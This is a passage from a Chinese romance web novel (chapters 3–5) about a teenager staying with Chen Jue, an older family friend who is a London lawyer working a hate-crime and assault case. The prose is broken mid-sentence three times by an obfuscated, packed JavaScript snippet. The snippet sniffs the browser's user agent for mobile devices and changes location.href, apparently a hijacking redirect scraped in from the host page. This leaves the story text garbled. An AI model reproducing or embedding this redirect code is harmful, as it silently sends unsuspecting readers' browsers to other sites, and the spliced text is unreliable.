《自由意志的沉沦》 3. Chapter 03 Chapter 03 顾思意几乎是扑进了他的怀里,像小时候那样,手臂环着他的腰,把脸埋在他的肩窝。 在允许的范围里肆无忌惮地占着便宜。直到陈玦受不了他,问他有完没完,再将他推开。 和大衣上相似的淡古龙水味道包裹着顾思意,陈玦身上还带着一点秋日的潮湿。西装面料很硬,硌得他脸颊有点疼,但顾思意舍不得松开。 他闭着眼。 “我真的好想你。”顾思意出声,朝他仰头。 因为顾思意长高了不少,所以这一抬头和以前可不一样,陈玦感觉他的呼吸就在脸旁,身上有干净柔软的皂香,眼神里充斥着一种全身心的依赖,双臂紧紧抱着他的腰。 这种眼神按理说陈玦已经习惯了,但当下还是有种微妙的感觉。 “黏人精。”陈玦轻轻地把他推开,“你长高了不少,现在是多高?” 顾思意抬头说:“前阵子体检,是一米七……九。”其实已经一米八了。 “很快就会长到一米八了。”陈玦说。 顾思意摇摇头:“不不,我觉得一米七九就挺好的。” 陈玦“嗯?”了一声,垂目对上他的眼睛:“哪有男生不喜欢长高一点的?” “我就不喜欢……”顾思意觉得再高点儿可能就缩不进他怀里了,这样不行。他喜欢受保护的感觉,在自我性取向和性别怀疑阶段,他每天都希望自己可以是女生,甚至因此留过长头发,内心不乐意每天都在蹭蹭往上窜的身高。后来他接纳了自己,就把头发剪短了。 陈玦都不可能知道这些。 晚点,他们去了切尔西区的一家米其林餐厅。 侍者引他们到靠窗的位置坐下,柔和的提琴曲流淌。陈玦熟练地点了菜,见顾思意在翻看酒单,于是问他:“你想喝酒?” “我还没到法定年纪。”顾思意托着脸。 “原来你知道。”陈玦给他倒了柠檬饮料,“喝柠檬水。” 顾思意说酸。 陈玦拿了俩糖包丢他面前。 顾思意一边放糖,目光却不由自主地飘到了一旁。 在他们隔壁桌坐着一对西装革履的英国男人,看起来三十多岁,其中一个从怀里掏出戒指盒。“Happy anniversary.”他轻声说,然后在伴侣的嘴角落下一个吻。 顾思意哪里见过这样的,便看着他们,直到陈玦伸手把他的脸扳回来:“你别看了,不礼貌。” “我没看啊……”顾思意小声说,脸上好像还残留他手指的温度,心跳跟着加速,他望着陈玦,犹豫再三,小心翼翼地开口,“不过伦敦好多同性恋,我在机场……也看见了几对,超明显的。” “是很多。不过你别和他们学,也别交这种朋友。”陈玦不自觉蹙眉,“艾滋病也很多。” “哦……艾滋病……”顾思意忍不住来了句,“那你歧视他们吗?我不是说艾滋,我就说同性恋。” 陈玦抿了口葡萄酒,平淡地说:“不妨碍我就不歧视。” 顾思意手指不由自主蜷缩:“什么叫……不妨碍你,就不歧视?你被他们妨碍过么?” 陈玦顿了下,回答:“有过。”由于比较恶心,他并不愿意回想。 结果顾思意居然还在追问:“意思是你被男生追过吗?” 陈玦“嗯”了一声,不想多聊:“你为什么总好奇这些。” 他不是歧视,只是很排斥。二者区别很大,他不可能在大街上看见俩基佬在接吻会冲上去对人家竖中指,但一定会绕道走。 然而顾思意还在想他第一句话:“……是追你的人有艾滋?所以你是讨厌艾滋,不是讨厌男同吧?是吧,艾滋病会传染,同性恋可不会,不一样的。” 陈玦:“……” 陈玦深吸口气,承认了:“都很讨厌。” 闻言,顾思意怔愣几秒:“……是吗。” 他垂下眼睫喝水,心不在焉地用毛巾擦手。 来之前,顾思意想过很多种可能性。 眼前陈玦的反应,他也思考过。 可真的发现他的性取向这么正常后,正常到不正常了,顾思意还是很失落。 他眼神的余光不由自主地瞥向身侧那对过结婚纪念日的情侣。 陈玦注意到了,因为这很怪,所以他观察了几秒,蹙眉出声:“顾思意,你……” 顾思意回神:“怎么?” 陈玦的目光很深,看了他一会儿,说:“没什么。”他换了话题,“你读牛津的什么专业?” 顾思意夹了一根前菜沙拉里的芝麻菜,说:“我学法律。” “法学院?”陈玦有点意外,“为什么?你想当律师?” 顾思意:“因为你学法律。” 陈玦对他的人生影响很大。 没等陈玦说什么,顾思意就道:“其实我也是随便报的,不知道学什么,不能说完全因为你。以后要不要当律师得另说,我想我如果做了律师,可能是很坏的律师。” 陈玦看他一眼:“那你还是别当了。” “我考虑一下。” 侍者端上主食,顾思意一边切着盘子里的鹅肝,一边说起学校的事。 “我昨天才到的,宿舍有点小,不过很合适,和我在家里的卧室差不多的。衣柜也大,窗外看起来会有壁虎进我的房间。”他说到兴奋处会不自觉地比划,眼睛亮亮的,“听说有蜘蛛。” 陈玦安静地听着,时不时给他添点饮料。 暖黄的灯光洒在少年温润的侧脸上,陈玦意识到,顾思意的确长大了,也快成年了,变化说大也大,说不大也不大。 他小时候就长得很漂亮,留过一阵子的及耳发,陈玦带他出去,别人会问他:“这是你妹妹啊?”顾思意会不好意思地说:“我不是,我是男生。” 长大后顾思意脸上的英气比漂亮多一些,但笑起来还是那样可爱,虎牙总会不经意从唇间露出来,看起来毫无攻击性。 但陈玦知道他只是看起来。 小屁孩坏心眼很多的,像他说的,如果他做了律师,大概是不择手段的、陈玦最讨厌的那一类。 “思意,”陈玦收回视线,说,“你妈妈知道你来找我吗?” 顾思意的动作顿了顿:“知道的。” 陈玦又问了几句关于他母亲的话:“张阿姨身体还好么?” 顾思意点头说还好:“今年刚体检过,指标都正常。” 饭过一半,陈玦问他:“你宿舍有门禁么?” 顾思意摇头:“我问了,我住在你这里可以,因为你在我给学校填的紧急联系人名单上。学校也没有那么严格。” “那今晚回学校吗?”陈玦问。 “我想住……”顾思意小心地开口。 还没说完,陈玦看了眼表:“时间还好,等吃完我送你回学校。” “我不想回去。”顾思意打断他,声音带着点恳求,“就一晚上,我想和你多待会儿,行吗。” 陈玦看了他几秒,嗯了一声,没再说什么。 付完账出门时,伦敦的夜风已经有些凉了。 顾思意下意识往他这边靠了靠,像小时候那样。 陈玦看着他的侧脸,忽然觉得有什么东西正在悄然改变。他想起母亲临终前的嘱托,又想起这些年自己的疏离。 吴霜去世前让陈玦以后要照顾好顾思意和他母亲,要管顾思意一辈子,但没多久,陈玦就出国了。 所以这些年他根本就没尽到责任。 “冷吗?”陈玦低头问。 顾思意摇摇头,但还是靠在他的身上。他希望陈玦可以搂他一下,但陈玦没有。 这没关系,顾思意有的是办法。 一上车后,他假装犯了困,揉了揉眼睛,靠在陈玦身上不动了。 陈玦低头,嘴唇平直:“你是真困还是假困?” 顾思意心头一跳,嘟哝出声:“真困……” 他把眼睛闭上,睫毛轻颤。伸手小心地抱着陈玦的腰。 陈玦身体微僵,因为很久没人这样抱他而不太适应:“你又干嘛。” 顾思意:“困了呜……” 顾思意马上假装自己睡着了。 他调整呼吸至均匀,但陈玦的身材触感太过坚实。顾思意心跳在加速,他忍不住想如果自己对他的想法有一天被发现了,又被讨厌怎么办? 摇摆不定的时刻,占有欲可耻地占了上风。 他选择享受。 隔着布料,顾思意感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172581|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受了一下陈玦衣服底下块块鼓起的、坚硬的肌肉轮廓,一时心猿意马,想叹息,又觉得好爽。 陈玦真是自律,学业和工作这么忙居然也不忘健身。 如果是他的就好了。 和陈玦待在一起,他甚至可以不需要耳机,也不会总是耳鸣,他感觉世界是安静的,只有他和陈玦,嗡鸣声更像是他心脏的共振,而非噪音。 车厢后座。 陈玦的手指轻轻拨开他的黑发,指尖拂过他的额角,那里有一道细小的疤痕,已经很淡了,但还是能摸到一点凸起。 “那你睡吧,”陈玦的声音低,也有点无奈,“十分钟就到家了。” 他看着顾思意,少年的脸和记忆里的模样渐渐重合了。 他第一次见顾思意是很多年前了。 陈玦十二岁,顾思意才七岁,跟他母亲张疏桐一起来的。吴霜似乎有话和张疏桐说,就让陈玦带弟弟去玩:“就在家里玩,不要走太远。” 陈玦并不乐意带小孩,上次家里来了小孩,弄坏他航模的事现在还记忆犹新。陈玦冷淡地说:“我还有事,不能陪你。” 顾思意“哦”了一声,就乖乖待在旁边,不吵也不闹。 但陈玦还是很烦他。 当然这是无差别的,他叛逆期来得早,一视同仁地烦所有人,希望地球爆炸只剩他一个人。 尤其是这小屁孩黏他黏得紧,像个狗皮膏药一样,看起来坐在旁边不吵不闹,但陈玦只要一起身,马上跟着他走,陈玦去上厕所,他要站在门口看,眼巴巴的。 很像姑妈家里养的马尔济斯犬。 顾思意的妈妈当时在吴霜的慈善机构当管理,所以顾思意从那之后就经常来了。 陈玦对他的烦简直是与日俱增的,让他:“你别叫我哥哥,我不是你哥哥。” 顾思意“哦”了一声,说:“好吧,陈玦。” 陈玦就发现这小孩的乖,好像是装的,在不同的人面前,完全是不同的嘴脸。 顾思意又说:“可是这样是不是对你不礼貌。” 陈玦相当冷漠地说:“别打扰我,别来我房间就是最大的礼貌,你妈妈没教你规矩吗。” “你别那么说我妈妈。”顾思意有点沮丧,但还是不肯走,经常用一种可怜兮兮的眼神盯着他,让陈玦怀疑他是不是在学校被霸凌,没朋友。 直到有一天,陈玦在书房写作业,而顾思意安安静静地站在三米高的书架前看书脊。 “哥哥,”顾思意跑过来问,“我,我想问……你,《时间简史》在哪里?”这不太符合他这个年纪会看的书,陈玦的桌上也一本摊开的霍金。 陈玦头也不抬:“最上面,第二层,你自己去拿。”那一瞬间陈玦考虑过这可能有危险,因为书柜的活动梯子很高。 但他有意为难顾思意。 书房很安静,只有笔尖划过纸面的沙沙声。直到一声巨响打破了这份宁静。 陈玦回过头时,看见梯子歪在一边。顾思意从三米高的楼梯上摔在地上,额角磕在了书架的棱角上。 鲜血顺着他苍白的小脸流下来,把厚重的地毯染出一片暗红。 那是他第一次真正慌了神。抱着昏迷的顾思意往外跑时,他感觉到小男孩的手指还是温热的,却那么柔软无力。他以为顾思意死了。 他从来没有一刻像当时那样害怕。 在顾思意昏迷期间,陈玦也煎熬得生不如死,全家一起给顾思意父母道歉。后来过了半个月,顾思意才苏醒。 医生说是中度脑挫伤,可能会影响一生,需要持续观察。 吴霜郑重地说:“以后思意就是我们家的孩子了,我让陈玦管他一辈子。” 那道疤痕则一直留在顾思意的额角。 每次看见,陈玦都会想起那天自己有多么不负责任。 自责的后果就是,他开始允许顾思意的靠近,亲近,黏他。这么多年过去,竟然也变成了习惯一样的存在。 但对于顾思意现在像个小朋友一样,把脸贴在他胸口装睡的行为,陈玦还是感觉哪里不太对。 如果换个性别,顾思意就像他的小女朋友一样了。 所以陈玦捏了下他的耳朵,试图把他弄醒了:“顾思意,你口水滴我衣服上了。” 4. Chapter 04 Chapter 04 顾思意一听就知道陈玦在骗他!他都没睡着怎么会流口水。 车子转过最后一个弯,顾思意还靠在陈玦肩上,呼吸还算均匀。 陈玦低头看着他,从捏耳朵到捏他脸:“到家了,别装睡了。” 顾思意的睫毛轻颤,但没有睁眼,希望他可以多捏一会儿。 “怕我送你回宿舍?”陈玦低声说,“放心吧,我知道你一个人住不习惯。” 他猜是因为还没开学,学校里人少,顾思意一个人住着害怕。 毕竟以前就这样,说害怕,怕鬼、怕黑、怕一个人,所以会赖在他床上不走然后抱着他。 顾思意这才睁开眼,理直气壮:“我没有装睡……”一边说一边摸他衣服,看是不是真的流口水了。 “是吗,”陈玦抓住他的手腕,“那怎么眼睛都不敢睁开?还有你在摸哪?” “我是真的困了。”顾思意小声辩解,脸有点红,“我把你衣服睡乱了,我整理一下……” 陈玦没有拆穿,丢开他的手:“以后不想回宿舍就直说,别装。我又不是不知道你怕一个人待着。” 顾思意抿着嘴没说话。 他想说的不是这个,可是陈玦总是把他的亲近理解成依赖,把他的示好理解成撒娇。 算了……这样也行,不要讨厌他就好。 机会还有,恐同即深柜,说不定陈玦是个深柜呢! “你住这间。”陈玦推开一楼客卧的门,开灯,“家政每隔一天都来打扫,床单和被罩都是新的。” 房间不大但很温馨,靠窗放着一张Double床,床头是一盏暖色的台灯。顾思意走进去,注意到床头柜上摆着一本多尔金的《法律的帝国》。 “你的书?”他问。 “以前看的。”陈玦端着杯子靠在门边说,“困了就先睡吧,我还有点工作要处理。” “这么晚还要工作么?” “有个案子要赶。”陈玦轻描淡写,喝了口水,“你早点休息。” 陈玦去了书房。 顾思意打开衣柜,里面整整齐齐挂着几套睡衣。他拿出一件深蓝色的丝质睡衣,忍不住把脸埋进去,轻轻地嗅了嗅——是陈玦的味道,成熟的,香水味很淡。 洗完澡,思意躺在床上,打开平板戴上耳机。 屏幕上是三年前剑桥法学院的辩论赛视频。 所有人西装革履,只有陈玦穿着一件黑色耐克卫衣,二十岁的轮廓比现在模样再青春一些,站在讲台前,神态从容透着懒散。 那时的陈玦已经展现出独特的气场,浑身都散发着一种压迫性的锋芒。他的眉骨深邃,剑眉下是一双锐利的眼睛,下颌线条清晰,喉结凸出,随着每个字的吐出轻轻滚动。 当天的辩题是“程序正义是否应让位于实体正义”。 陈玦是反方二辩。 “如果我们为了所谓的实体正义而牺牲程序正义,那就等于在摧毁法治的根基,”他的声线清冷有力,神情在咄咄逼人时几乎是锋利的,“程序正义不是繁文缛节,而是保护每个人、包括被告人在内基本权利的最后一道防线。一旦突破这道防线,所谓的实体正义也将失去其正当性。” 顾思意记得自己第一次看这场辩论时,就被陈玦的论证深深吸引。 缜密的逻辑和优雅的表达,让他在万千天才中都如此耀眼。 他在电话问过陈玦,陈玦说:“我并不认可这个辩论方向,但比赛就是比赛。” 视频里,陈玦正在做最后的总结陈词,有力的发人深省的言辞,英俊的外表,顾思意不知不觉看入了迷,也不知道他在说什么了,就看着他嘴巴一张一合,让人很想亲。 直到书房传来椅子挪动的声音,他才惊醒过来,赶紧关掉视频。 此时已过零点,陈玦还在工作。 顾思意翻了个身,望着墙……原来律师是这样的生活,比他想象的还要辛苦。 书房,陈玦摘下眼镜,揉了揉眉心。 被害人的证词被他用不同颜色标注着,有些地方画着问号。他又点开录音,调低音量,仔细听被害人叙述案发经过。 “那天下课后……”青年的声音有些颤抖,说到某些细节时会突然变得模糊。陈玦修长的手指在键盘上敲击,记录下每一处反常的语气和停顿。 当事人在描述被殴打的过程时流畅而愤怒,但提到某些时间点时,语速会突然放慢,像是在思考措辞。 陈玦停下笔,若有所思。他太熟悉这种刻意的隐瞒了。 “所以你们当时是在图书馆……”他又倒回去听这段。被害人的呼吸突然变得急促,说话也开始前后矛盾。陈玦在笔记上画了个圈,箭头指向“地点”二字。 他起身倒了杯水,西装裤勾勒出修长笔直的腿型。站在窗前,陈玦望着花园里黑色的灌木丛,眉头微蹙。 明天还要和当事人见面,以及去警局调几份笔录,这个案子远没有表面看起来那么简单。 桌上的手机震了一下,是布朗家的律师发来的简讯。 陈玦瞥了一眼,没有回复。 他重新在电脑前坐下,继续工作。 凌晨一点,书房的灯还亮着,顾思意拿着一份文件,在门外站了好一会儿才轻轻地敲门。 “怎么了。”陈玦说。 顾思意推开门,看见陈玦正在电脑前工作。他脱了西装外套,穿着浅色的条纹衬衫,领带松了些,袖子挽到手肘,露出结实的小臂。台灯的光映在轮廓分明的英俊脸庞,睫毛在镜片后投下一小片阴影。 “你怎么还不睡?夜猫子。”陈玦抬首,黑发随意地垂在额前,他看见顾思意穿着他的睡衣,衣服明显大了一号,袖子遮住了半个手掌,下摆也长得过分。 顾思意站在门口,双手放在身前,拿着一份文件袋。 “我在隔壁啊,”顾思意声音很轻,“我听见你还在工作,可是已经很晚了。” “书房离你太近,键盘声吵你了?”陈玦抬首说,“你去二楼睡?” “没有吵到我,”顾思意摇头,“我就是担心你…….” “担心我什么?” 顾思意轻启唇:“熬夜对肝不好。” 陈玦靠在座椅上:“也不是每天这样,对肝不好你还不快去睡?” “马上就去。”顾思意想了想,把文件放在了他桌上。 “这是什么?”陈玦把文件袋拿了过去,“体检?” “是,我出国前做的,”顾思意在客厅桌上无意间看见了陈玦的体检报告,突然想起来这件事了,于是把自己的找出来。他示意陈玦拆开:“你看看,我很健康的。” “什么意思,我知道你很健康。”陈玦打开看了一眼。 顾思意解释:“我没别的意思,毕竟我住在你家,我还用你的洗衣机,穿你的衣服,我觉得有必要给你看一下,我是非常健康的。” “嗯?”陈玦不明所以地挑眉。 顾思意表情认真:“我身上没有携带艾滋病。” 陈玦:“……?” 顾思意是怕哪天被他发现自己的性取向后,被陈玦怀疑起这个。看陈玦恐同的样子,他觉得有必要提前说明。 “你才十七,你当然没有。”陈玦真不知道他想什么,没看他体检报告,塞了回去,“你只要别在这边乱搞男女关系,是不会得病的。” 顾思意马上说:“我肯定不可能乱搞男女关系,不可能。” 陈玦随口道:“男男也不要搞。” 顾思意:“……” 顾思意低头:“知道了,不乱搞。” 他转身回到房间,叹口气,戴上耳机播着一贯听的白噪音,坐在床上翻看陈玦的体检报告。这份体检报告非常完善,其实没什么好看的,但顾思意还是看得相当津津有味。 精确身高原来是188.9啊。 骨架宽,所以体重是83KG。 体脂率只有12%。 根据顾思意对体脂率的了解,陈玦的肌肉大概是块块分明的,触感像巧克力,软中带硬……究竟是什么样,顾思意也只能靠幻想,毕竟他很久没见过陈玦不穿衣服的样子了。 顾思意往后翻,发现陈玦身上还有纹身,医生写了,一块在肋骨,一块在大臂,大臂的有三英寸长,肋骨的是两英寸左右。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172582|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道纹的是什么? 唔……两英寸,大概五厘米左右,会是什么? 陈玦出来喝水时,看见门缝底下漏出的光,停下脚步。 他将手放在门把手上,顿了一下,没敲门,直接打开了。 顾思意背对着他趴在床上,只穿了内裤,光着腿,腿瘦而长,很匀称……陈玦目光落在雪白的肤色上,挪开,顾思意在看书……不是,不是书。陈玦定睛,发现那是今天医院寄过来的体检报告。 顾思意戴着耳机,没发现他开门。 陈玦靠在门边:“怎么还不睡。” 顾思意马上回头:“我时差没倒过来,你还在工作么。” 陈玦点头,走进来,弯腰:“我体检报告有这么好看?” 顾思意笑起来,揉了揉眼睛:“我随便拿来看看,你身上有纹身啊,我没见过呢。是来英国后纹的么。” 陈玦“嗯”了一声,说是,然后看了眼他戴着的耳机道:“我敲键盘的声音吵你睡觉了?” 顾思意说:“不会啊。” 陈玦没管他“会”还是“不会”,直接道:“穿拖鞋,跟我上来。” “哦好……”顾思意没问原因,穿拖鞋跟他上楼,进了主卧,陈玦才说,“我还得工作一会儿,你睡我房间。” 顾思意:嗯?? 这么大方?居然要一起睡! 顾思意眨眼,扭头看着他的房间。 主卧比客房宽敞许多,一张深色的木制大床,床头摆着几本法律典籍和人物传记。 窗帘没拉,能看见黑暗中富人区低矮的建筑群和园林。整个房间都浸润着陈玦的味道。 顾思意简直不能相信! 他和陈玦不是没睡过一张床。 但那已经是很久很久之前的事了,当时顾思意对陈玦还没这些不该有的心思,就是单纯地喜欢挨着他睡觉,喜欢他的味道,喜欢抱他时的感觉。 陈玦当然会不乐意,因为哪怕翻过身睡,小顾思意也会从后背抱上来。 所以陈玦经常会赶他走,顾思意每次就会装模作样可怜巴巴地说头疼:“伤口又疼了,哥哥……你看看我的额头,我的疤是不是裂开了啊。” 陈玦只好忍耐,告诉自己算了。 顾思意怎么都掩饰不住好心情,雀跃起来:“陈玦,你平时睡左边吗?”他指着床头有充电器和杯子的一边,显而易见的,“那我睡右边吧,当然我也可以睡左边,我给你暖下床好不好,你不用跟我说谢谢,没关系的,我很乐意帮助你。” 陈玦笑了笑,说不好:“我在楼下睡。上面阁楼还有一张床,不过没有整理。”他拉开床头的暗灯,温暖的光线洒在床头,叮嘱他早点睡,就走了。 顾思意有点失落。 门关上后,他坐在陈玦的床上,手指轻轻抚过枕头。 这张床对他来说太大了,像一片温暖的海洋。他躺在右边,过了会儿,翻身滚到左边,他把脸埋进枕头里,深深地呼吸。 这一边是陈玦常睡的,他的气息愈发浓烈,顾思意恨不得全身上下每一寸皮肤都沾染上他的味道。 陈玦回到书房,点了支烟。 他烟瘾不重,今天案子有些棘手,已经是第三根了。 推开阳台的玻璃门,凌晨的冷风灌入,吹散烟雾。伦敦的夜色浓稠如墨,远处的路灯像散落的星子。 被害人的证词在脑海里反复回放。 他把烟掐灭,准备去洗澡。 浴室里还带着水汽,镜子上蒙着一层薄雾。陈玦打开灯,看见衣架上挂着条浅色的内裤,是顾思意的。他愣了一下,意识到他大概是没找到地方晾,因为外面还在下雨。 内裤是平角的,还滴着水,在灯光下显得有些半透明。 陈玦移开视线,却又忍不住看了一眼。他突然想起顾思意穿着他的睡衣,显得那么单薄。那件睡衣对他来说太大了,衣领松松垮垮地挂在肩上,纽扣也不好好系。 陈玦深吸一口气,打开花洒,他还是不怎么习惯家里多一个人存在。水流冲刷过他的身体,顺着肩胛骨流淌至线条流畅的背肌,但那抹浅色的痕迹却像烙在了陈玦的视网膜上。 5.Chapter 05 Chapter 05 翌日清晨,阳光透过窗帘的缝隙洒进来。 陈玦已经换上了鼠灰的西装三件套,领口打着深蓝条纹的丝质领带,袖口露出银色的腕表,正在厨房岛台冲咖啡。 顾思意揉着眼睛下楼时,他正在打电话,侧脸轮廓分明:“好,十点半,Costa咖啡店见。” “哥哥,早。”顾思意的声音还带着困意。他穿着陈玦的睡衣,头发有些凌乱。 陈玦把手机夹在耳边,骨节修长的手指拿起玻璃壶,给他倒了杯热牛奶:“早餐在桌上,培根三明治。” “我今天要出去,”顾思意接过牛奶,闻了闻,避开了他的三明治邀请,小声说,“我要去买电话卡。还没办卡,我还在用漫游,我查了攻略,应该可以自己去,如果你有工作要忙的话……” 陈玦挂了电话,看了看表:“我十点半有个见面要谈,可以先带你去买。” “会耽误你工作吗?” “不会。”陈玦给自己倒了杯咖啡,“吃完我们就走。” 今天的秋日照例地没什么阳光,阴郁微风。陈玦先带顾思意去了手机店,帮他选了套餐。 “想吃冰淇淋吗?”办完手续,陈玦问。 顾思意:“现在可以吗?” “嗯。”陈玦带他进了麦当劳,帮他点了餐和冰淇淋,同时回复手机信息,对他说,“你坐这等我,我去对面见个人,很快,可能半个小时,别乱走,看好自己的手机。” “好。”顾思意捧着圆筒冰淇淋,“我不乱走,我会抓紧手机,不让人抢走。” 陈玦揉了揉他的头发:“不要吃太快,小心脑子冻住。” 顾思意看着陈玦穿过马路,隔着M记的玻璃窗,能看见他和一个穿着灰色帽衫的年轻人说话,年轻人有些局促,一直低着头,看不清脸,似乎是个亚裔。 顾思意知道那大概是陈玦的当事人,便收回视线,一边吃冰淇淋,一边打开手机里的辩论赛资料看。 咖啡厅。 陈玦脱下高定西装外套搭在椅背上。他从公文包里取出笔记本:“亚伦,能告诉我更多细节吗?” 男生摇摇头,眼圈有点红。 “我知道很难,”陈玦的声音低道,“但你不说,我没法帮你。” “他们……”亚伦的声音在发抖,“他们说华人都是……” 陈玦在本子上记录着,这很显然是一场涉及种族歧视的校园霸凌案件。陈玦时不时抬头观察他的表情。咖啡店里人来人往,服务生端着托盘从他们身边经过。 “那天究竟发生了什么?”陈玦忽然用中文问,“小洛?” 亚伦猛地抬头,眼泪一下子涌出来。这是他的中文名字,而且很久没有人这样喊他了。 陈玦递过纸巾,眉心轻皱。他等亚伦平静下来,又问了几个问题。 最后亚伦说了些什么,陈玦的手顿住了。 钢笔在纸面上洇出一点墨渍,他抿着唇,神色变得很冷。 “我会处理,”他说,“你先回去。有事随时给我打电话,我会让警方安排保护你。” “陈律师……”亚伦的声音几不可闻,“我不想让更多人知道。我……”他的手指绞在一起,指节发白。 陈玦放下笔:“我理解你的顾虑。作为你的代理律师,我有责任为你保密。但要推进这个案子,我需要我的助理协助调查取证。记得他吗?上次在律所见过的。” “我知道,”亚伦点点头,“我相信您的判断。只是……” 目送亚伦离开,陈玦在座位上坐了一会儿。 他掏出烟,又放回去,最后拿起手机拨了个号码:“杰克,我需要查一下这几个人。”陈玦的声线冰冷,“尤其是他们的社交媒体记录。” 电话那头传来翻动纸张的声音:“性//侵指控?Drake,这case性质就变了。你打算怎么走?” “两条线,”陈玦说,“首先是hate crime。受害人是亚裔,性侵与种族歧视有直接关联。” “Crown Court?” “对,但我需要更多证据。”陈玦拿起笔,“其次走民事赔偿。英国法律对性/侵案的赔偿额度……” “等等,”杰克打断他,“你知道这有多难吗?证据呢?” “受害人的心理咨询记录,还有他转学申请上的理由说明。”陈玦说,“我会去找校医,他们有义务保存相关记录。” “学校那边……” “学校肯定想和解。”陈玦面无表情,眼底充满了厌恶,“但我们不会让他们轻易过关。这已经不是简单的校园霸凌了。” “你确定要继续?免费的法援……对面还有顶尖的律师团队,咱们够呛。” “就这么决定。”陈玦说。 挂了电话,陈玦又翻开卷宗。 警方的记录显示这不是他们第一次惹事,但之前的受害者都因为害怕而撤诉,因为被告是惹不起的阶级。 他快速浏览着资料,三个男生,都来自富人区,其中为首的那个金发碧眼,外貌出色,眼神傲慢。卷宗里还有几张现场照片,图书馆的监控,以及受害者的医疗记录。 陈玦正要合上文件,抬头却看见街对岸,顾思意背着书包,正在和一个男生说话。那人背对着他,金色的短发,穿着格子衫,身形与照片上的人重合。 他几乎是本能地站起,椅子在地板上发出刺耳的声响。 玻璃门被他用力推开,风铃叮咚作响。马路上车来车往,一辆黑色的计程车差点擦到他的西装,司机愤怒地按着喇叭。但他顾不上这些,修长的双腿几乎是跨着步子冲过去。 陈玦一把将顾思意拉到身后,自己挡在前面。 “哥哥?”顾思意被他突然的动作吓了一跳,手里的咖啡差点掉了。他从陈玦肩后探出头,看见那个金发男生转过身——是个戴着眼镜的瘦高男孩,拉丁裔的长相,显然是南美人,正困惑地看着他们。 “抱歉。”陈玦绷紧的神经这才松懈,但依然挡在顾思意前面。 “没事,”男生后退,“我只是在问路。” 直到那个男生走远,陈玦才转过身。顾思意仰头看他,有些困惑:“刚才怎么了?” “认错人了。”陈玦说,手指无意识地整理着腕表带,低头道,“不要随便和陌生人说话,那个人为什么找你问路?” “啊?”顾思意解释,“……可能是因为我看起来不像是会抢他手机的亚裔。你为什么突然跑过来?” 陈玦看着他无辜的神情,意识到自己反应过度了。 “他背影像我案子里的重要嫌疑犯。”陈玦解释原因,“算了,走吧,带你去买几件厚衣服。” 顾思意问他:“什么嫌疑犯?” 陈玦:“要保密的。” “好吧。” 服装店里,顾思意站在试衣镜前,风衣的下摆刚好到膝盖上方,快一米八的身高,比例标致,但在陈玦身边还是单薄了些。镜子里,一旁的陈玦在看手机,低着头不断发消息,他比顾思意高了十公分,肩宽腿长,高级定制的西装勾勒出常年保持健身的衣架子身材。 “选好了吗,我结账。”陈玦抬头看了一眼,虽然他主动带顾思意买衣服,但显然没什么耐心帮他挑选。 “有一点点大。”顾思意走到他旁边,能闻到他身上淡淡的古龙水混合烟草气味,顾思意脑袋拱过去嗅了嗅,顺便快速地瞥了眼他在跟谁发消息。 一个叫Garcia的男的。 “你是小狗吗?”陈玦把他的脑袋推开。 “我是啊。”顾思意说,“你和谁说话,怎么聊不完的天,密密麻麻的消息。” 陈玦头也没抬:“我助理,工作上的事儿,和你没关系。” 顾思意反问:“你助理不是叫Jack吗?” 陈玦抬了下头:“Garcia是他的姓。” 外面开始下雨,细密的雨丝打在玻璃上。 伦敦的秋天就是这样,一丁点可怜的阳光转眼就被云层吞没。 顾思意挑好了衣服。 陈玦顺便让柜员给他拿了围巾和鞋,还买了几件冲锋衣,刷卡付款,柜姐贴心地用HM的袋子帮忙把里面的盒子打包封了起来。 陈玦不是很擅长关心人。 他关心顾思意的方式就是买东西,顾思意从楼梯摔下来受伤那阵,陈玦给他送了很多东西,不管他用不用得上。 “你是世界上对我最好的人。”顾思意忽然出声。 陈玦稍稍别开头,声音淡淡的:“给你买两件衣服,就是对你最好的人了?” “我身上这件也是你买的,”顾思意轻轻地说,“你有没有发现啊?” “是么?”陈玦扫了一眼,认出来确实是自己喜欢的那个品牌,“很旧了,怎么还在穿。” 顾思意身上的衬衫洗得有些发白,有些紧绷,但被保养得很好,像顾思意人一样清清爽爽。 布料依然挺括,只是领口处已经有些磨损。 顾思意低声说:“是你三年前回国买给我的,当时穿有点大。我穿三年了。” 陈玦没说话,只是下颌紧绷了起来。 走出店门,陈玦停下脚步,看着他说:“衣服穿旧了就丢了吧,再给你买新的。” 顾思意仰头说:“你买的,我不丢,而且很合身。” 陈玦:“你还在长个子,总会有穿不下的一天的。” 顾思意马上说:“我不长了!” 陈玦偏头盯着他:“你怎么回事,小时候总说要长大长高,真的长大了,又不想长了?” 顾思意苦瓜脸:“我已经很高了,再高万一比你高了怎么办……” 陈玦低头看他黑色的发旋:“那不可能。”陈玦十八岁就现在这么高了,以顾思意的骨架,就是打激素也不可能长到快一米九的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 